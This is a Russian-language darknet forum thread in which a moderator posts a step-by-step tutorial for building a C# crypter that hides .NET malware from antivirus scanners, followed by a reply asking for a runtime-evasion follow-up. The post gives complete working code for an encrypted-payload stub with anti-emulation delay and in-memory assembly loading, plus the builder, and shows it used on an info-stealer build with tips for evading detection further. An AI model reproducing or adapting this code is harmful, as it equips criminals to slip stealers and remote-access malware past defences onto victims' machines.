1. Что-бы увидеть скрытые разделы и познать все тайны Darkneta Вам необходимо Зарегистрироваться или Войти.

Криптор приложений на C#

Тема в разделе "С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby", создана пользователем Dr.Web, 23 дек 2019.

  1. Dr.Web

    Dr.Web Модератор | @dimadrweb
    Модератор

    Статус
    Оффлайн
    Регистрация:
    18 сен 2018
    Депозит:
    0 р.
    Гарант сделок:
    0
    Сообщения:
    578
    Розыгрышей:
    0
    Рейтинги:
    +103 / -0
    Страница Вконтакте:
    Telegram:
    Как всем известно, билды различной малвари (особенно паблик) имеют достаточно большой скантайм детект.
    В этой статье сделаем простой криптор .net приложений на c#.

    [​IMG]




    Кто виноват? Что делать?

    Скантайм - сигнатурный детект, который вешают антивирусы на ваш файл. Например, Gen детекты.

    Рантайм - детект при запуске файла, своего рода поведенческая сигнатура. Наример, NJRat копирует себя в %TEMP%, создает

    свою копию в папке автозапуска и прочее. Эта модель поведения занесена в базы антивирусов.


    Наша задача - убрать сигнатуры и изменить поведение файла; другими словами мы напишем оболочку для нашего файла.


    Первым делом ознакомимся cо статьей небезызвестного

    Вы не можете просматривать внешние ссылки, что-бы просмотреть зарегистрируйтесь или авторизуйтесь на форуме !

    (click)

    Что ж, такой крипт хоть и работает, но держит недолго.

    В нашем проекте мы будем использовать стабы.



    Стаб

    Стаб - небольшая программа, "сердце" криптора, которая отвечает за запуск шифрованного файла, антиэмуляцию и прочие плюшки.

    Для начала напишем именно стаб.

    Структура стаба будет такова:

    -Сам стаб

    -Слово-разделитель

    -Ключ расшифровки

    -Слово-разделитель

    -Шифрованные данные



    Алгоритм работы стаба:

    1) Ищем слово-разделитель в файле

    2) Получаем ключ

    3) Ищем слово-разделитель в файле

    4) Получаем шифрованные даные

    5) Расшифровываем даные (base64 -> byte[] -> Decrypt() -> byte[])

    6) Загружаем и выполняем сборку



    Нашим словом-разделителем будет "keeeek".

    Приступим к написанию кода. Открываем Visual Studio, создаем консольное приложение на .net 4.0.

    [​IMG]
    Первым делом добавим функцию расшифровки:

    Код:
    public static byte[] Decrypt(byte[] input, string key) {
     PasswordDeriveBytes pdb =
      new PasswordDeriveBytes(key,
       new byte[] {
       0x43,
       0x87,
       0x23,
       0x72
       });
     MemoryStream ms = new MemoryStream();
     Aes aes = new AesManaged();
     aes.Key = pdb.GetBytes(aes.KeySize / 8);
     aes.IV = pdb.GetBytes(aes.BlockSize / 8);
     CryptoStream cs = new CryptoStream(ms,
      aes.CreateDecryptor(), CryptoStreamMode.Write);
     cs.Write(input, 0, input.Length);
     cs.Close();
     return ms.ToArray();
    }
    Переходим к Main. Ставим рандомную задержку (5-20 секунд):

    Код:
    Thread.Sleep(new Random(Environment.TickCount).Next(5000, 20000));
    Получаем в строки необходимые данные:

    Код:
    string data = File.ReadAllText(Assembly.GetEntryAssembly().Location); // Считываем файл
    string key = new Regex("keeeek.*keeeek").Matches(data)[0].Value.Replace("keeeek", ""); // Считываем ключ
    string file = Regex.Split(data, "keeeek")[2]; // Считываем base64 строку
    Далее загрузим расшифрованную сборку:

    Код:
    Assembly assembly = Assembly.Load(Decrypt(Convert.FromBase64String(file), key)); // Расшифровываем и загружаем сборку
    assembly.EntryPoint.Invoke(null, new object[] { new string[] { } });
    Учтите, что Mian может не принимать аргументов вообще!

    В настройках проекта ставим конфигурацию Release и платформу x86, тип выходных данных - приложение Windows. Компилируем проект.

    [​IMG]
    На этом со стабом покончили. Далее идет самая простая часть - написание самого криптора.



    Криптор

    Алгоритм работы криптора:

    1) Выбираем файл для крипта

    2) Шифруем файл и конвертируем его в Base64 строку

    3) Записываем стаб, слово-разделитель, ключ, слово-разделитель, base64 строку

    Создаем приложение WindowsForms, кидаем на него конпку:

    [​IMG]
    Дважды кликаем по ней и пишем в методе код:

    Код:
    OpenFileDialog op = new OpenFileDialog(); // Окно для выбора файла
    op.ShowDialog();
    Далее проинициализируем переменные:

    Код:
    string filename = op.FileName; // Имя файла
    
    byte[] stub = File.ReadAllBytes("stub.exe"); // Имя стаба - кладем в папку с критором
    
    string key = Path.GetRandomFileName().Split('.')[0]; // Рандомный ключ
    
    byte[] encrypted = Encrypt(File.ReadAllBytes(filename), key); // Шифрованный файл
    
    byte[] base64 = Encoding.UTF8.GetBytes(Convert.ToBase64String(encrypted)); // Получаем шифрованный файл в Base64 строку
    Теперь, когда все данные получены, просто запишем все в новый файл:

    Код:
    FileStream fs = new FileStream("output.exe", FileMode.CreateNew, FileAccess.Write);
    fs.Write(stub, 0, stub.Length);
    fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
    fs.Write(Encoding.UTF8.GetBytes(key), 0, Encoding.UTF8.GetBytes(key).Length);
    fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
    fs.Write(base64, 0, base64.Length);
    fs.Close();
    Чуть не забыл, добавим функцию шифрования:

    Код:
    public static byte[] Encrypt(byte[] input, string key) {
     PasswordDeriveBytes pdb =
      new PasswordDeriveBytes(key,
       new byte[] {
       0x43,
       0x87,
       0x23,
       0x72
       });
     MemoryStream ms = new MemoryStream();
     Aes aes = new AesManaged();
     aes.Key = pdb.GetBytes(aes.KeySize / 8);
     aes.IV = pdb.GetBytes(aes.BlockSize / 8);
     CryptoStream cs = new CryptoStream(ms,
      aes.CreateEncryptor(), CryptoStreamMode.Write);
     cs.Write(input, 0, input.Length);
     cs.Close();
     return ms.ToArray();
    }
    Ну вот и все, криптор готов.

    Кладем стаб к криптору и начинаем тестить.

    Для примера закриптуем билд стиллера TRON Project.

    [​IMG]


    Как чистить стабы?

    1) Изменять ключевое слово

    2) Изменять название переменных, их длину, добавлять мусорный код

    3) Накрыть стаб каким либо обфускатором

    4) Добавить иконку, изменить информацию о файле и тп (ResourceHaсker в помощь)



    Ну и конечно же изменять алгоритм работы стаба.



    После добавления в стаб мусорного кода, информации из другого файла и обфускации стаба сверху получился следующий детект:

    [​IMG]
    Я думаю всем понятно, что сканить стабы/криптованные билды на вирустотале и аналогах не нужно
     
    • Нравится Нравится x 1
  2. Chiluvek

    Участник

    Статус
    Оффлайн
    Регистрация:
    18 сен 2018
    Депозит:
    0 р.
    Гарант сделок:
    0
    Сообщения:
    40
    Розыгрышей:
    0
    Рейтинги:
    +32 / -0
    Скантайм - это хорошо)
    Но рантайм еще лучше)
    Ждем статью по рантайм детекту.
     
    • Нравится Нравится x 1